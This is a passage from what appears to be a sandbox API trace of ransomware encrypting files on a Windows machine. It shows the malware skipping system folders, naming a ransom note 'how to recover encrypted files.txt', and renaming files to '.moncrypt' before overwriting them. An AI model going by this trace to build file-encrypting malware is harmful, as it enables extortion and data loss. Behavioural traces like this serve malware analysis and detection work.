cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0054.435] GetLastError () returned 0x2 [0054.436] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0054.436] GetLastError () returned 0x2 [0054.436] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.436] GetLastError () returned 0x2 [0054.437] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0054.437] GetLastError () returned 0x2 [0054.437] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.437] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.437] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.437] GlobalUnlock (hMem=0x44000c) returned 0 [0054.437] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.437] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.437] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.437] GlobalUnlock (hMem=0x44000c) returned 0 [0054.437] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.437] GlobalUnlock (hMem=0x440004) returned 0 [0054.438] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.438] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.438] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.438] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.438] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.438] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.438] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.438] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.438] GlobalLock (hMem=0x440004) returned 0x550170 [0054.438] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.438] GlobalUnlock (hMem=0x440004) returned 0 [0054.438] GlobalLock (hMem=0x440004) returned 0x550170 [0054.438] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.438] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.439] GlobalUnlock (hMem=0x440004) returned 0 [0054.439] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.439] GlobalUnlock (hMem=0x44000c) returned 0 [0054.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.440] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.440] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.440] GlobalUnlock (hMem=0x44000c) returned 0 [0054.440] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.440] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.440] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.440] GlobalUnlock (hMem=0x44000c) returned 0 [0054.440] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.440] GlobalUnlock (hMem=0x440004) returned 0 [0054.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.441] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.441] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.441] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.441] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.441] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.441] GlobalUnlock (hMem=0x440004) returned 0 [0054.441] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.441] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.441] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.441] GlobalUnlock (hMem=0x440004) returned 0 [0054.441] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.441] GlobalUnlock (hMem=0x44000c) returned 0 [0054.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.441] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 73 [0054.442] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.442] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.442] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.442] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.442] GlobalUnlock (hMem=0x44000c) returned 0 [0054.442] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.442] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.442] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.442] GlobalUnlock (hMem=0x44000c) returned 0 [0054.442] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.442] GlobalUnlock (hMem=0x440004) returned 0 [0054.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.442] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.443] CloseHandle (hObject=0x18c) returned 1 [0054.443] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\я")) returned 1 [0054.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.444] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.444] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.445] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.moncrypt")) returned 1 [0054.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.446] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.446] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xa5d5 [0054.446] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.446] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.457] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.457] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.457] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.457] GlobalUnlock (hMem=0x44000c) returned 0 [0054.457] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0054.457] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.457] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.457] GlobalUnlock (hMem=0x44000c) returned 0 [0054.457] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.457] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.457] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.457] GlobalUnlock (hMem=0x440004) returned 0 [0054.457] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.457] GlobalUnlock (hMem=0x44000c) returned 0 [0054.457] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.457] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.457] GlobalUnlock (hMem=0x44000c) returned 0 [0054.457] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.458] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.458] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.458] GlobalUnlock (hMem=0x44000c) returned 0 [0054.458] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.458] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.458] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, 